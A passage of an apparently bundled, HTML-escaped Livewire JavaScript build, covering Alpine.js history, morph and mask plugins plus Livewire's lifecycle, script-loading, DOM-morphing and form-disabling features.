      } else if (newValue === void 0) {
        url2 = remove(url2, name);
      } else if (!alwaysShow &amp;&amp; hasReturnedToExceptValue(newValue)) {
        url2 = remove(url2, name);
      } else {
        url2 = set3(url2, name, newValue);
      }
      strategy(url2, name, { value: newValue });
    };
    return {
      initial: initialValue,
      replace(newValue) {
        update(replace, newValue);
      },
      push(newValue) {
        update(push, newValue);
      },
      pop(receiver) {
        let handler4 = (e) =&gt; {
          if (!e.state || !e.state.alpine)
            return;
          Object.entries(e.state.alpine).forEach(([iName, { value: newValue }]) =&gt; {
            if (iName !== name)
              return;
            lock = true;
            let result = receiver(newValue);
            if (result instanceof Promise) {
              result.finally(() =&gt; lock = false);
            } else {
              lock = false;
            }
          });
        };
        window.addEventListener(&quot;popstate&quot;, handler4);
        return () =&gt; window.removeEventListener(&quot;popstate&quot;, handler4);
      }
    };
  }
  function replace(url, key, object) {
    let state = window.history.state || {};
    if (!state.alpine)
      state.alpine = {};
    state.alpine[key] = unwrap(object);
    window.history.replaceState(state, &quot;&quot;, url.toString());
  }
  function push(url, key, object) {
    let state = window.history.state || {};
    if (!state.alpine)
      state.alpine = {};
    state = { alpine: { ...state.alpine, ...{ [key]: unwrap(object) } } };
    window.history.pushState(state, &quot;&quot;, url.toString());
  }
  function unwrap(object) {
    if (object === void 0)
      return void 0;
    return JSON.parse(JSON.stringify(object));
  }
  function queryStringUtils() {
    return {
      has(url, key) {
        let search = url.search;
        if (!search)
          return false;
        let data2 = fromQueryString(search);
        return Object.keys(data2).includes(key);
      },
      get(url, key) {
        let search = url.search;
        if (!search)
          return false;
        let data2 = fromQueryString(search);
        return data2[key];
      },
      set(url, key, value) {
        let data2 = fromQueryString(url.search);
        data2[key] = stripNulls(unwrap(value));
        url.search = toQueryString(data2);
        return url;
      },
      remove(url, key) {
        let data2 = fromQueryString(url.search);
        delete data2[key];
        url.search = toQueryString(data2);
        return url;
      }
    };
  }
  function stripNulls(value) {
    if (!isObjecty(value))
      return value;
    for (let key in value) {
      if (value[key] === null)
        delete value[key];
      else
        value[key] = stripNulls(value[key]);
    }
    return value;
  }
  function toQueryString(data2) {
    let isObjecty2 = (subject) =&gt; typeof subject === &quot;object&quot; &amp;&amp; subject !== null;
    let buildQueryStringEntries = (data3, entries2 = {}, baseKey = &quot;&quot;) =&gt; {
      Object.entries(data3).forEach(([iKey, iValue]) =&gt; {
        let key = baseKey === &quot;&quot; ? iKey : `${baseKey}[${iKey}]`;
        if (iValue === null) {
          entries2[key] = &quot;&quot;;
        } else if (!isObjecty2(iValue)) {
          entries2[key] = encodeURIComponent(iValue).replaceAll(&quot;%20&quot;, &quot;+&quot;).replaceAll(&quot;%2C&quot;, &quot;,&quot;);
        } else {
          entries2 = { ...entries2, ...buildQueryStringEntries(iValue, entries2, key) };
        }
      });
      return entries2;
    };
    let entries = buildQueryStringEntries(data2);
    return Object.entries(entries).map(([key, value]) =&gt; `${key}=${value}`).join(&quot;&amp;&quot;);
  }
  function fromQueryString(search) {
    search = search.replace(&quot;?&quot;, &quot;&quot;);
    if (search === &quot;&quot;)
      return {};
    let insertDotNotatedValueIntoData = (key, value, data3) =&gt; {
      let [first2, second, ...rest] = key.split(&quot;.&quot;);
      if (!second)
        return data3[key] = value;
      if (data3[first2] === void 0) {
        data3[first2] = isNaN(second) ? {} : [];
      }
      insertDotNotatedValueIntoData([second, ...rest].join(&quot;.&quot;), value, data3[first2]);
    };
    let entries = search.split(&quot;&amp;&quot;).map((i) =&gt; i.split(&quot;=&quot;));
    let data2 = /* @__PURE__ */ Object.create(null);
    entries.forEach(([key, value]) =&gt; {
      if (typeof value == &quot;undefined&quot;)
        return;
      value = decodeURIComponent(value.replaceAll(&quot;+&quot;, &quot;%20&quot;));
      if (!key.includes(&quot;[&quot;)) {
        data2[key] = value;
      } else {
        let dotNotatedKey = key.replaceAll(&quot;[&quot;, &quot;.&quot;).replaceAll(&quot;]&quot;, &quot;&quot;);
        insertDotNotatedValueIntoData(dotNotatedKey, value, data2);
      }
    });
    return data2;
  }

  // node_modules/@alpinejs/morph/dist/module.esm.js
  function morph(from, toHtml, options) {
    monkeyPatchDomSetAttributeToAllowAtSymbols();
    let fromEl;
    let toEl;
    let key, lookahead, updating, updated, removing, removed, adding, added;
    function assignOptions(options2 = {}) {
      let defaultGetKey = (el) =&gt; el.getAttribute(&quot;key&quot;);
      let noop = () =&gt; {
      };
      updating = options2.updating || noop;
      updated = options2.updated || noop;
      removing = options2.removing || noop;
      removed = options2.removed || noop;
      adding = options2.adding || noop;
      added = options2.added || noop;
      key = options2.key || defaultGetKey;
      lookahead = options2.lookahead || false;
    }
    function patch(from2, to) {
      if (differentElementNamesTypesOrKeys(from2, to)) {
        return swapElements(from2, to);
      }
      let updateChildrenOnly = false;
      if (shouldSkip(updating, from2, to, () =&gt; updateChildrenOnly = true))
        return;
      if (from2.nodeType === 1 &amp;&amp; window.Alpine) {
        window.Alpine.cloneNode(from2, to);
        if (from2._x_teleport &amp;&amp; to._x_teleport) {
          patch(from2._x_teleport, to._x_teleport);
        }
      }
      if (textOrComment(to)) {
        patchNodeValue(from2, to);
        updated(from2, to);
        return;
      }
      if (!updateChildrenOnly) {
        patchAttributes(from2, to);
      }
      updated(from2, to);
      patchChildren(from2, to);
    }
    function differentElementNamesTypesOrKeys(from2, to) {
      return from2.nodeType != to.nodeType || from2.nodeName != to.nodeName || getKey(from2) != getKey(to);
    }
    function swapElements(from2, to) {
      if (shouldSkip(removing, from2))
        return;
      let toCloned = to.cloneNode(true);
      if (shouldSkip(adding, toCloned))
        return;
      from2.replaceWith(toCloned);
      removed(from2);
      added(toCloned);
    }
    function patchNodeValue(from2, to) {
      let value = to.nodeValue;
      if (from2.nodeValue !== value) {
        from2.nodeValue = value;
      }
    }
    function patchAttributes(from2, to) {
      if (from2._x_transitioning)
        return;
      if (from2._x_isShown &amp;&amp; !to._x_isShown) {
        return;
      }
      if (!from2._x_isShown &amp;&amp; to._x_isShown) {
        return;
      }
      let domAttributes = Array.from(from2.attributes);
      let toAttributes = Array.from(to.attributes);
      for (let i = domAttributes.length - 1; i &gt;= 0; i--) {
        let name = domAttributes[i].name;
        if (!to.hasAttribute(name)) {
          from2.removeAttribute(name);
        }
      }
      for (let i = toAttributes.length - 1; i &gt;= 0; i--) {
        let name = toAttributes[i].name;
        let value = toAttributes[i].value;
        if (from2.getAttribute(name) !== value) {
          from2.setAttribute(name, value);
        }
      }
    }
    function patchChildren(from2, to) {
      let fromKeys = keyToMap(from2.children);
      let fromKeyHoldovers = {};
      let currentTo = getFirstNode(to);
      let currentFrom = getFirstNode(from2);
      while (currentTo) {
        seedingMatchingId(currentTo, currentFrom);
        let toKey = getKey(currentTo);
        let fromKey = getKey(currentFrom);
        if (!currentFrom) {
          if (toKey &amp;&amp; fromKeyHoldovers[toKey]) {
            let holdover = fromKeyHoldovers[toKey];
            from2.appendChild(holdover);
            currentFrom = holdover;
            fromKey = getKey(currentFrom);
          } else {
            if (!shouldSkip(adding, currentTo)) {
              let clone2 = currentTo.cloneNode(true);
              from2.appendChild(clone2);
              added(clone2);
            }
            currentTo = getNextSibling(to, currentTo);
            continue;
          }
        }
        let isIf = (node) =&gt; node &amp;&amp; node.nodeType === 8 &amp;&amp; node.textContent === &quot;[if BLOCK]&gt;&lt;![endif]&quot;;
        let isEnd = (node) =&gt; node &amp;&amp; node.nodeType === 8 &amp;&amp; node.textContent === &quot;[if ENDBLOCK]&gt;&lt;![endif]&quot;;
        if (isIf(currentTo) &amp;&amp; isIf(currentFrom)) {
          let nestedIfCount = 0;
          let fromBlockStart = currentFrom;
          while (currentFrom) {
            let next = getNextSibling(from2, currentFrom);
            if (isIf(next)) {
              nestedIfCount++;
            } else if (isEnd(next) &amp;&amp; nestedIfCount &gt; 0) {
              nestedIfCount--;
            } else if (isEnd(next) &amp;&amp; nestedIfCount === 0) {
              currentFrom = next;
              break;
            }
            currentFrom = next;
          }
          let fromBlockEnd = currentFrom;
          nestedIfCount = 0;
          let toBlockStart = currentTo;
          while (currentTo) {
            let next = getNextSibling(to, currentTo);
            if (isIf(next)) {
              nestedIfCount++;
            } else if (isEnd(next) &amp;&amp; nestedIfCount &gt; 0) {
              nestedIfCount--;
            } else if (isEnd(next) &amp;&amp; nestedIfCount === 0) {
              currentTo = next;
              break;
            }
            currentTo = next;
          }
          let toBlockEnd = currentTo;
          let fromBlock = new Block(fromBlockStart, fromBlockEnd);
          let toBlock = new Block(toBlockStart, toBlockEnd);
          patchChildren(fromBlock, toBlock);
          continue;
        }
        if (currentFrom.nodeType === 1 &amp;&amp; lookahead &amp;&amp; !currentFrom.isEqualNode(currentTo)) {
          let nextToElementSibling = getNextSibling(to, currentTo);
          let found = false;
          while (!found &amp;&amp; nextToElementSibling) {
            if (nextToElementSibling.nodeType === 1 &amp;&amp; currentFrom.isEqualNode(nextToElementSibling)) {
              found = true;
              currentFrom = addNodeBefore(from2, currentTo, currentFrom);
              fromKey = getKey(currentFrom);
            }
            nextToElementSibling = getNextSibling(to, nextToElementSibling);
          }
        }
        if (toKey !== fromKey) {
          if (!toKey &amp;&amp; fromKey) {
            fromKeyHoldovers[fromKey] = currentFrom;
            currentFrom = addNodeBefore(from2, currentTo, currentFrom);
            fromKeyHoldovers[fromKey].remove();
            currentFrom = getNextSibling(from2, currentFrom);
            currentTo = getNextSibling(to, currentTo);
            continue;
          }
          if (toKey &amp;&amp; !fromKey) {
            if (fromKeys[toKey]) {
              currentFrom.replaceWith(fromKeys[toKey]);
              currentFrom = fromKeys[toKey];
              fromKey = getKey(currentFrom);
            }
          }
          if (toKey &amp;&amp; fromKey) {
            let fromKeyNode = fromKeys[toKey];
            if (fromKeyNode) {
              fromKeyHoldovers[fromKey] = currentFrom;
              currentFrom.replaceWith(fromKeyNode);
              currentFrom = fromKeyNode;
              fromKey = getKey(currentFrom);
            } else {
              fromKeyHoldovers[fromKey] = currentFrom;
              currentFrom = addNodeBefore(from2, currentTo, currentFrom);
              fromKeyHoldovers[fromKey].remove();
              currentFrom = getNextSibling(from2, currentFrom);
              currentTo = getNextSibling(to, currentTo);
              continue;
            }
          }
        }
        let currentFromNext = currentFrom &amp;&amp; getNextSibling(from2, currentFrom);
        patch(currentFrom, currentTo);
        currentTo = currentTo &amp;&amp; getNextSibling(to, currentTo);
        currentFrom = currentFromNext;
      }
      let removals = [];
      while (currentFrom) {
        if (!shouldSkip(removing, currentFrom))
          removals.push(currentFrom);
        currentFrom = getNextSibling(from2, currentFrom);
      }
      while (removals.length) {
        let domForRemoval = removals.shift();
        domForRemoval.remove();
        removed(domForRemoval);
      }
    }
    function getKey(el) {
      return el &amp;&amp; el.nodeType === 1 &amp;&amp; key(el);
    }
    function keyToMap(els2) {
      let map = {};
      for (let el of els2) {
        let theKey = getKey(el);
        if (theKey) {
          map[theKey] = el;
        }
      }
      return map;
    }
    function addNodeBefore(parent, node, beforeMe) {
      if (!shouldSkip(adding, node)) {
        let clone2 = node.cloneNode(true);
        parent.insertBefore(clone2, beforeMe);
        added(clone2);
        return clone2;
      }
      return node;
    }
    assignOptions(options);
    fromEl = from;
    toEl = typeof toHtml === &quot;string&quot; ? createElement(toHtml) : toHtml;
    if (window.Alpine &amp;&amp; window.Alpine.closestDataStack &amp;&amp; !from._x_dataStack) {
      toEl._x_dataStack = window.Alpine.closestDataStack(from);
      toEl._x_dataStack &amp;&amp; window.Alpine.cloneNode(from, toEl);
    }
    patch(from, toEl);
    fromEl = void 0;
    toEl = void 0;
    return from;
  }
  morph.step = () =&gt; {
  };
  morph.log = () =&gt; {
  };
  function shouldSkip(hook, ...args) {
    let skip = false;
    hook(...args, () =&gt; skip = true);
    return skip;
  }
  var patched = false;
  function createElement(html) {
    const template = document.createElement(&quot;template&quot;);
    template.innerHTML = html;
    return template.content.firstElementChild;
  }
  function textOrComment(el) {
    return el.nodeType === 3 || el.nodeType === 8;
  }
  var Block = class {
    constructor(start3, end) {
      this.startComment = start3;
      this.endComment = end;
    }
    get children() {
      let children = [];
      let currentNode = this.startComment.nextSibling;
      while (currentNode &amp;&amp; currentNode !== this.endComment) {
        children.push(currentNode);
        currentNode = currentNode.nextSibling;
      }
      return children;
    }
    appendChild(child) {
      this.endComment.before(child);
    }
    get firstChild() {
      let first2 = this.startComment.nextSibling;
      if (first2 === this.endComment)
        return;
      return first2;
    }
    nextNode(reference) {
      let next = reference.nextSibling;
      if (next === this.endComment)
        return;
      return next;
    }
    insertBefore(newNode, reference) {
      reference.before(newNode);
      return newNode;
    }
  };
  function getFirstNode(parent) {
    return parent.firstChild;
  }
  function getNextSibling(parent, reference) {
    let next;
    if (parent instanceof Block) {
      next = parent.nextNode(reference);
    } else {
      next = reference.nextSibling;
    }
    return next;
  }
  function monkeyPatchDomSetAttributeToAllowAtSymbols() {
    if (patched)
      return;
    patched = true;
    let original = Element.prototype.setAttribute;
    let hostDiv = document.createElement(&quot;div&quot;);
    Element.prototype.setAttribute = function newSetAttribute(name, value) {
      if (!name.includes(&quot;@&quot;)) {
        return original.call(this, name, value);
      }
      hostDiv.innerHTML = `&lt;span ${name}=&quot;${value}&quot;&gt;&lt;/span&gt;`;
      let attr = hostDiv.firstElementChild.getAttributeNode(name);
      hostDiv.firstElementChild.removeAttributeNode(attr);
      this.setAttributeNode(attr);
    };
  }
  function seedingMatchingId(to, from) {
    let fromId = from &amp;&amp; from._x_bindings &amp;&amp; from._x_bindings.id;
    if (!fromId)
      return;
    if (!to.setAttribute)
      return;
    to.setAttribute(&quot;id&quot;, fromId);
    to.id = fromId;
  }
  function src_default8(Alpine3) {
    Alpine3.morph = morph;
  }
  var module_default8 = src_default8;

  // node_modules/@alpinejs/mask/dist/module.esm.js
  function src_default9(Alpine3) {
    Alpine3.directive(&quot;mask&quot;, (el, { value, expression }, { effect: effect3, evaluateLater: evaluateLater2, cleanup: cleanup2 }) =&gt; {
      let templateFn = () =&gt; expression;
      let lastInputValue = &quot;&quot;;
      queueMicrotask(() =&gt; {
        if ([&quot;function&quot;, &quot;dynamic&quot;].includes(value)) {
          let evaluator = evaluateLater2(expression);
          effect3(() =&gt; {
            templateFn = (input) =&gt; {
              let result;
              Alpine3.dontAutoEvaluateFunctions(() =&gt; {
                evaluator((value2) =&gt; {
                  result = typeof value2 === &quot;function&quot; ? value2(input) : value2;
                }, { scope: {
                  &quot;$input&quot;: input,
                  &quot;$money&quot;: formatMoney.bind({ el })
                } });
              });
              return result;
            };
            processInputValue(el, false);
          });
        } else {
          processInputValue(el, false);
        }
        if (el._x_model)
          el._x_model.set(el.value);
      });
      const controller = new AbortController();
      cleanup2(() =&gt; {
        controller.abort();
      });
      el.addEventListener(&quot;input&quot;, () =&gt; processInputValue(el), {
        signal: controller.signal,
        capture: true
      });
      el.addEventListener(&quot;blur&quot;, () =&gt; processInputValue(el, false), { signal: controller.signal });
      function processInputValue(el2, shouldRestoreCursor = true) {
        let input = el2.value;
        let template = templateFn(input);
        if (!template || template === &quot;false&quot;)
          return false;
        if (lastInputValue.length - el2.value.length === 1) {
          return lastInputValue = el2.value;
        }
        let setInput = () =&gt; {
          lastInputValue = el2.value = formatInput(input, template);
        };
        if (shouldRestoreCursor) {
          restoreCursorPosition(el2, template, () =&gt; {
            setInput();
          });
        } else {
          setInput();
        }
      }
      function formatInput(input, template) {
        if (input === &quot;&quot;)
          return &quot;&quot;;
        let strippedDownInput = stripDown(template, input);
        let rebuiltInput = buildUp(template, strippedDownInput);
        return rebuiltInput;
      }
    }).before(&quot;model&quot;);
  }
  function restoreCursorPosition(el, template, callback) {
    let cursorPosition = el.selectionStart;
    let unformattedValue = el.value;
    callback();
    let beforeLeftOfCursorBeforeFormatting = unformattedValue.slice(0, cursorPosition);
    let newPosition = buildUp(template, stripDown(template, beforeLeftOfCursorBeforeFormatting)).length;
    el.setSelectionRange(newPosition, newPosition);
  }
  function stripDown(template, input) {
    let inputToBeStripped = input;
    let output = &quot;&quot;;
    let regexes = {
      &quot;9&quot;: /[0-9]/,
      &quot;a&quot;: /[a-zA-Z]/,
      &quot;*&quot;: /[a-zA-Z0-9]/
    };
    let wildcardTemplate = &quot;&quot;;
    for (let i = 0; i &lt; template.length; i++) {
      if ([&quot;9&quot;, &quot;a&quot;, &quot;*&quot;].includes(template[i])) {
        wildcardTemplate += template[i];
        continue;
      }
      for (let j = 0; j &lt; inputToBeStripped.length; j++) {
        if (inputToBeStripped[j] === template[i]) {
          inputToBeStripped = inputToBeStripped.slice(0, j) + inputToBeStripped.slice(j + 1);
          break;
        }
      }
    }
    for (let i = 0; i &lt; wildcardTemplate.length; i++) {
      let found = false;
      for (let j = 0; j &lt; inputToBeStripped.length; j++) {
        if (regexes[wildcardTemplate[i]].test(inputToBeStripped[j])) {
          output += inputToBeStripped[j];
          inputToBeStripped = inputToBeStripped.slice(0, j) + inputToBeStripped.slice(j + 1);
          found = true;
          break;
        }
      }
      if (!found)
        break;
    }
    return output;
  }
  function buildUp(template, input) {
    let clean = Array.from(input);
    let output = &quot;&quot;;
    for (let i = 0; i &lt; template.length; i++) {
      if (![&quot;9&quot;, &quot;a&quot;, &quot;*&quot;].includes(template[i])) {
        output += template[i];
        continue;
      }
      if (clean.length === 0)
        break;
      output += clean.shift();
    }
    return output;
  }
  function formatMoney(input, delimiter = &quot;.&quot;, thousands, precision = 2) {
    if (input === &quot;-&quot;)
      return &quot;-&quot;;
    if (/^\D+$/.test(input))
      return &quot;9&quot;;
    if (thousands === null || thousands === void 0) {
      thousands = delimiter === &quot;,&quot; ? &quot;.&quot; : &quot;,&quot;;
    }
    let addThousands = (input2, thousands2) =&gt; {
      let output = &quot;&quot;;
      let counter = 0;
      for (let i = input2.length - 1; i &gt;= 0; i--) {
        if (input2[i] === thousands2)
          continue;
        if (counter === 3) {
          output = input2[i] + thousands2 + output;
          counter = 0;
        } else {
          output = input2[i] + output;
        }
        counter++;
      }
      return output;
    };
    let minus = input.startsWith(&quot;-&quot;) ? &quot;-&quot; : &quot;&quot;;
    let strippedInput = input.replaceAll(new RegExp(`[^0-9\\${delimiter}]`, &quot;g&quot;), &quot;&quot;);
    let template = Array.from({ length: strippedInput.split(delimiter)[0].length }).fill(&quot;9&quot;).join(&quot;&quot;);
    template = `${minus}${addThousands(template, thousands)}`;
    if (precision &gt; 0 &amp;&amp; input.includes(delimiter))
      template += `${delimiter}` + &quot;9&quot;.repeat(precision);
    queueMicrotask(() =&gt; {
      if (this.el.value.endsWith(delimiter))
        return;
      if (this.el.value[this.el.selectionStart - 1] === delimiter) {
        this.el.setSelectionRange(this.el.selectionStart - 1, this.el.selectionStart - 1);
      }
    });
    return template;
  }
  var module_default9 = src_default9;

  // js/lifecycle.js
  function start2() {
    setTimeout(() =&gt; ensureLivewireScriptIsntMisplaced());
    dispatch(document, &quot;livewire:init&quot;);
    dispatch(document, &quot;livewire:initializing&quot;);
    module_default.plugin(module_default8);
    module_default.plugin(history2);
    module_default.plugin(module_default5);
    module_default.plugin(module_default6);
    module_default.plugin(module_default2);
    module_default.plugin(module_default7);
    module_default.plugin(module_default3);
    module_default.plugin(module_default4);
    module_default.plugin(navigate_default);
    module_default.plugin(module_default9);
    module_default.addRootSelector(() =&gt; &quot;[wire\\:id]&quot;);
    module_default.onAttributesAdded((el, attributes) =&gt; {
      if (!Array.from(attributes).some((attribute) =&gt; matchesForLivewireDirective(attribute.name)))
        return;
      let component = closestComponent(el, false);
      if (!component)
        return;
      attributes.forEach((attribute) =&gt; {
        if (!matchesForLivewireDirective(attribute.name))
          return;
        let directive3 = extractDirective(el, attribute.name);
        trigger2(&quot;directive.init&quot;, { el, component, directive: directive3, cleanup: (callback) =&gt; {
          module_default.onAttributeRemoved(el, directive3.raw, callback);
        } });
      });
    });
    module_default.interceptInit(module_default.skipDuringClone((el) =&gt; {
      if (!Array.from(el.attributes).some((attribute) =&gt; matchesForLivewireDirective(attribute.name)))
        return;
      if (el.hasAttribute(&quot;wire:id&quot;)) {
        let component2 = initComponent(el);
        module_default.onAttributeRemoved(el, &quot;wire:id&quot;, () =&gt; {
          destroyComponent(component2.id);
        });
      }
      let directives2 = Array.from(el.getAttributeNames()).filter((name) =&gt; matchesForLivewireDirective(name)).map((name) =&gt; extractDirective(el, name));
      directives2.forEach((directive3) =&gt; {
        trigger2(&quot;directive.global.init&quot;, { el, directive: directive3, cleanup: (callback) =&gt; {
          module_default.onAttributeRemoved(el, directive3.raw, callback);
        } });
      });
      let component = closestComponent(el, false);
      if (component) {
        trigger2(&quot;element.init&quot;, { el, component });
        directives2.forEach((directive3) =&gt; {
          trigger2(&quot;directive.init&quot;, { el, component, directive: directive3, cleanup: (callback) =&gt; {
            module_default.onAttributeRemoved(el, directive3.raw, callback);
          } });
        });
      }
    }));
    module_default.start();
    setTimeout(() =&gt; window.Livewire.initialRenderIsFinished = true);
    dispatch(document, &quot;livewire:initialized&quot;);
  }
  function ensureLivewireScriptIsntMisplaced() {
    let el = document.querySelector(&quot;script[data-update-uri][data-csrf]&quot;);
    if (!el)
      return;
    let livewireEl = el.closest(&quot;[wire\\:id]&quot;);
    if (livewireEl) {
      console.warn(&quot;Livewire: missing closing tags found. Ensure your template elements contain matching closing tags.&quot;, livewireEl);
    }
  }

  // js/features/supportListeners.js
  on2(&quot;effect&quot;, ({ component, effects }) =&gt; {
    registerListeners(component, effects.listeners || []);
  });
  function registerListeners(component, listeners2) {
    listeners2.forEach((name) =&gt; {
      let handler4 = (e) =&gt; {
        if (e.__livewire)
          e.__livewire.receivedBy.push(component);
        component.$wire.call(&quot;__dispatch&quot;, name, e.detail || {});
      };
      window.addEventListener(name, handler4);
      component.addCleanup(() =&gt; window.removeEventListener(name, handler4));
      component.el.addEventListener(name, (e) =&gt; {
        if (!e.__livewire)
          return;
        if (e.bubbles)
          return;
        if (e.__livewire)
          e.__livewire.receivedBy.push(component.id);
        component.$wire.call(&quot;__dispatch&quot;, name, e.detail || {});
      });
    });
  }

  // js/features/supportScriptsAndAssets.js
  var executedScripts = /* @__PURE__ */ new WeakMap();
  var executedAssets = /* @__PURE__ */ new Set();
  on2(&quot;payload.intercept&quot;, async ({ assets }) =&gt; {
    if (!assets)
      return;
    for (let [key, asset] of Object.entries(assets)) {
      await onlyIfAssetsHaventBeenLoadedAlreadyOnThisPage(key, async () =&gt; {
        await addAssetsToHeadTagOfPage(asset);
      });
    }
  });
  on2(&quot;component.init&quot;, ({ component }) =&gt; {
    let assets = component.snapshot.memo.assets;
    if (assets) {
      assets.forEach((key) =&gt; {
        if (executedAssets.has(key))
          return;
        executedAssets.add(key);
      });
    }
  });
  on2(&quot;effect&quot;, ({ component, effects }) =&gt; {
    let scripts = effects.scripts;
    if (scripts) {
      Object.entries(scripts).forEach(([key, content]) =&gt; {
        onlyIfScriptHasntBeenRunAlreadyForThisComponent(component, key, () =&gt; {
          let scriptContent = extractScriptTagContent(content);
          module_default.dontAutoEvaluateFunctions(() =&gt; {
            module_default.evaluate(component.el, scriptContent, { &quot;$wire&quot;: component.$wire });
          });
        });
      });
    }
  });
  function onlyIfScriptHasntBeenRunAlreadyForThisComponent(component, key, callback) {
    if (executedScripts.has(component)) {
      let alreadyRunKeys2 = executedScripts.get(component);
      if (alreadyRunKeys2.includes(key))
        return;
    }
    callback();
    if (!executedScripts.has(component))
      executedScripts.set(component, []);
    let alreadyRunKeys = executedScripts.get(component);
    alreadyRunKeys.push(key);
    executedScripts.set(component, alreadyRunKeys);
  }
  function extractScriptTagContent(rawHtml) {
    let scriptRegex = /&lt;script\b[^&gt;]*&gt;([\s\S]*?)&lt;\/script&gt;/gm;
    let matches2 = scriptRegex.exec(rawHtml);
    let innards = matches2 &amp;&amp; matches2[1] ? matches2[1].trim() : &quot;&quot;;
    return innards;
  }
  async function onlyIfAssetsHaventBeenLoadedAlreadyOnThisPage(key, callback) {
    if (executedAssets.has(key))
      return;
    await callback();
    executedAssets.add(key);
  }
  async function addAssetsToHeadTagOfPage(rawHtml) {
    let newDocument = new DOMParser().parseFromString(rawHtml, &quot;text/html&quot;);
    let newHead = document.adoptNode(newDocument.head);
    for (let child of newHead.children) {
      try {
        await runAssetSynchronously(child);
      } catch (error2) {
      }
    }
  }
  async function runAssetSynchronously(child) {
    return new Promise((resolve, reject) =&gt; {
      if (isScript2(child)) {
        let script = cloneScriptTag2(child);
        if (script.src) {
          script.onload = () =&gt; resolve();
          script.onerror = () =&gt; reject();
        } else {
          resolve();
        }
        document.head.appendChild(script);
      } else {
        document.head.appendChild(child);
        resolve();
      }
    });
  }
  function isScript2(el) {
    return el.tagName.toLowerCase() === &quot;script&quot;;
  }
  function cloneScriptTag2(el) {
    let script = document.createElement(&quot;script&quot;);
    script.textContent = el.textContent;
    script.async = el.async;
    for (let attr of el.attributes) {
      script.setAttribute(attr.name, attr.value);
    }
    return script;
  }

  // js/features/supportJsEvaluation.js
  on2(&quot;effect&quot;, ({ component, effects }) =&gt; {
    let js = effects.js;
    let xjs = effects.xjs;
    if (js) {
      Object.entries(js).forEach(([method, body]) =&gt; {
        overrideMethod(component, method, () =&gt; {
          module_default.evaluate(component.el, body);
        });
      });
    }
    if (xjs) {
      xjs.forEach((expression) =&gt; {
        module_default.evaluate(component.el, expression);
      });
    }
  });

  // js/morph.js
  function morph2(component, el, html) {
    let wrapperTag = el.parentElement ? el.parentElement.tagName.toLowerCase() : &quot;div&quot;;
    let wrapper = document.createElement(wrapperTag);
    wrapper.innerHTML = html;
    let parentComponent;
    try {
      parentComponent = closestComponent(el.parentElement);
    } catch (e) {
    }
    parentComponent &amp;&amp; (wrapper.__livewire = parentComponent);
    let to = wrapper.firstElementChild;
    to.__livewire = component;
    trigger2(&quot;morph&quot;, { el, toEl: to, component });
    module_default.morph(el, to, {
      updating: (el2, toEl, childrenOnly, skip) =&gt; {
        if (isntElement(el2))
          return;
        trigger2(&quot;morph.updating&quot;, { el: el2, toEl, component, skip, childrenOnly });
        if (el2.__livewire_replace === true)
          el2.innerHTML = toEl.innerHTML;
        if (el2.__livewire_replace_self === true) {
          el2.outerHTML = toEl.outerHTML;
          return skip();
        }
        if (el2.__livewire_ignore === true)
          return skip();
        if (el2.__livewire_ignore_self === true)
          childrenOnly();
        if (isComponentRootEl(el2) &amp;&amp; el2.getAttribute(&quot;wire:id&quot;) !== component.id)
          return skip();
        if (isComponentRootEl(el2))
          toEl.__livewire = component;
      },
      updated: (el2) =&gt; {
        if (isntElement(el2))
          return;
        trigger2(&quot;morph.updated&quot;, { el: el2, component });
      },
      removing: (el2, skip) =&gt; {
        if (isntElement(el2))
          return;
        trigger2(&quot;morph.removing&quot;, { el: el2, component, skip });
      },
      removed: (el2) =&gt; {
        if (isntElement(el2))
          return;
        trigger2(&quot;morph.removed&quot;, { el: el2, component });
      },
      adding: (el2) =&gt; {
        trigger2(&quot;morph.adding&quot;, { el: el2, component });
      },
      added: (el2) =&gt; {
        if (isntElement(el2))
          return;
        const closestComponentId = closestComponent(el2).id;
        trigger2(&quot;morph.added&quot;, { el: el2 });
      },
      key: (el2) =&gt; {
        if (isntElement(el2))
          return;
        return el2.hasAttribute(`wire:key`) ? el2.getAttribute(`wire:key`) : el2.hasAttribute(`wire:id`) ? el2.getAttribute(`wire:id`) : el2.id;
      },
      lookahead: false
    });
    trigger2(&quot;morphed&quot;, { el, component });
  }
  function isntElement(el) {
    return typeof el.hasAttribute !== &quot;function&quot;;
  }
  function isComponentRootEl(el) {
    return el.hasAttribute(&quot;wire:id&quot;);
  }

  // js/features/supportMorphDom.js
  on2(&quot;effect&quot;, ({ component, effects }) =&gt; {
    let html = effects.html;
    if (!html)
      return;
    queueMicrotask(() =&gt; {
      queueMicrotask(() =&gt; {
        morph2(component, component.el, html);
      });
    });
  });

  // js/features/supportDispatches.js
  on2(&quot;effect&quot;, ({ component, effects }) =&gt; {
    dispatchEvents(component, effects.dispatches || []);
  });
  function dispatchEvents(component, dispatches) {
    dispatches.forEach(({ name, params = {}, self = false, to }) =&gt; {
      if (self)
        dispatchSelf(component, name, params);
      else if (to)
        dispatchTo(to, name, params);
      else
        dispatch3(component, name, params);
    });
  }

  // js/features/supportDisablingFormsDuringRequest.js
  var cleanups = new Bag();
  on2(&quot;directive.init&quot;, ({ el, directive: directive3, cleanup: cleanup2, component }) =&gt; setTimeout(() =&gt; {
    if (directive3.value !== &quot;submit&quot;)
      return;
    el.addEventListener(&quot;submit&quot;, () =&gt; {
      let componentId = directive3.expression.startsWith(&quot;$parent&quot;) ? component.parent.id : component.id;
      let cleanup3 = disableForm(el);
      cleanups.add(componentId, cleanup3);
    });
  }));
  on2(&quot;commit&quot;, ({ component, respond }) =&gt; {
    respond(() =&gt; {
      cleanups.each(component.id, (i) =&gt; i());
      cleanups.remove(component.id);
    });
  });
  function disableForm(formEl) {
    let undos = [];
    module_default.walk(formEl, (el, skip) =&gt; {
      if (!formEl.contains(el))
        return;
      if (el.hasAttribute(&quot;wire:ignore&quot;))
        return skip();
      if (shouldMarkDisabled(el)) {
        undos.push(markDisabled(el));
      } else if (shouldMarkReadOnly(el)) {
        undos.push(markReadOnly(el));
      }
    });
    return () =&gt; {
      while (undos.length &gt; 0)
        undos.shift()();
    };
  }
  function shouldMarkDisabled(el) {
    let tag = el.tagName.toLowerCase();
    if (tag === &quot;select&quot;)
      return true;
    if (tag === &quot;button&quot; &amp;&amp; el.type === &quot;submit&quot;)
      return true;
    if (tag === &quot;input&quot; &amp;&amp; (el.type === &quot;checkbox&quot; || el.type === &quot;radio&quot;))
      return true;
    return false;
  }
  function shouldMarkReadOnly(el) {
    return [&quot;input&quot;, &quot;textarea&quot;].includes(el.tagName.toLowerCase());
  }
  function markDisabled(el) {
    let undo = el.disabled ? () =&gt; {
    } : () =&gt; el.disabled = false;
    el.disabled = true;
